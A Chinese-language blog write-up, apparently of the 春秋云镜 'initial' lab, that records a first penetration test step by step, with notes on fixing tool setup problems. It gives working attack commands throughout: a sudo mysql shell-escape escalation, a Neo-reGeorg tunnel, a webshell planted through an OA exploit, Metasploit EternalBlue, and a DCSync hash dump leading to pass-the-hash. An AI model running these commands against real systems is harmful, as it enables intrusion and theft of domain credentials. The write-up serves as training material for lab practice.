春秋云镜 initial

记录第一次渗透

第一次渗透感觉收获还是很多的

之前一直敬而远之,上手之后发现也没有想象中的难,但是在很多工具利用的过程中出现了非常非常多意想不到的问题,配软件的能力的得到了提升说是(。

外网打点

打开网址是thinkphp框架,先用工具开扫

https://github.com/bewhale/thinkphp_gui_tools

这时候我遇上了第一个问题,这也是我经验不足的体现,这是官方给的执行命令
java -Dfile.encoding="UTF-8" --module-path "C:\Program Files\Java\javafx-sdk-11.0.2\lib" --add-modules "javafx.controls,javafx.fxml,javafx.web" -jar "xxx.jar"
这时候可以看到我们是需要额外下载一个javafx-sdk的,但是我直接下载了上面的11.0.2的版本,出现了不兼容问题,后面查阅资料我又下载了匹配本地jdk版本的sdk。

这时候还有一个问题,如果是windows的powershell里面的话上面的命令会显示错误: 找不到或无法加载主类 .encoding=UTF-8 原因: java.lang.ClassNotFoundException: /encoding=UTF-8这时候需要把他放在cmd的shell或者是在java "-Dfile.encoding=UTF-8" --module-path "C:\Program Files\Java\javafx-sdk-11.0.2\lib" --add-modules "javafx.controls,javafx.fxml,javafx.web" -jar "xxx.jar"
查阅了一下资料,主要是因为
解法一原理:

1
这是因为 cmd 和 PowerShell 处理参数的方式不同,cmd 对于参数的解析可能更加宽松。

解法二原理:

1
2
3
通过将 "-Dfile.encoding=UTF-8" 放在双引号中,你显式地告诉 PowerShell 这个参数是一个整体字符串,应该被作为一个完整的命令行参数传递给 Java。

在 PowerShell 中,如果你不使用双引号,PowerShell 可能会将含有等号(=)的参数误解析成命令或类路径的一部分,导致错误。通过使用双引号,PowerShell 知道它应该把这个参数原样传递给 Java 命令,而不进行任何解析或拆分。

在解决了上面的一系列问题之后,我终于可以正常的使用工具,开始扫描,

然后利用工具getShell,中国蚁剑连接


可以找到flag,但是需要需要提权,
sudo -l
发现到可以NOPASSWD执行 mysql,我们执行
sudo mysql -e '\! find / -name flag*'寻找flag,然后cat一下就可以了。

flag{60b53231-

内网穿透

然后ifconfig查看内网网段,然后蚁剑上传fscan开始扫描内网


需要先内网穿透一下
https://github.com/L-codes/Neo-reGeorg

python neoreg.py generate -k password

生成tunnel.php文件并上传

python neoreg.py -k password -u http://39.98.171.149/tunnel.php

在本地配置一个socks5的代理,可以用火狐自带的系统设置,然后访问内网网址就可以访问到了

里面有一个信呼OA系统,可以打
网上有关于这个漏洞的现成的exp
在本地执行一下就可以,注意需要在网上的exp的基础上加上代理,否则访问不到

注意运行这个同文件下要加个1.php的一句话木马

有这个回显就是已经种上马了,然后用蚁剑连接这个网址就行

漏洞利用

接下来开始打永恒之蓝,配置好proxychains,让其conf文件加上
socks5 xxxx.xxxx.xxxx.xxxx 1080
然后执行

msfconsole
1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
show options
set rhosts 172.22.1.21
run

成功拿到shell。


接下来开始横向。

1
2
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

导出域内哈希,然后开始传递
我这里利用的是crackmapexec
注意由于

1
权限问题 由于 snap 的沙箱化,CME 可能无法访问需要的系统资源或网络接口。例如,CME 可能需要进行网络扫描、访问数据库或执行特定的脚本,而 snap 安装包可能会限制这些权限,导致运行时错误。

所以在这里用snap下载crackmapexec会报错,执行官方文档的命令也会报错

后面发现是服务器没有及时更新,更新之后有配了pyenv,修改venv内的环境,然后安装官方的步骤下载依赖项并执行就好了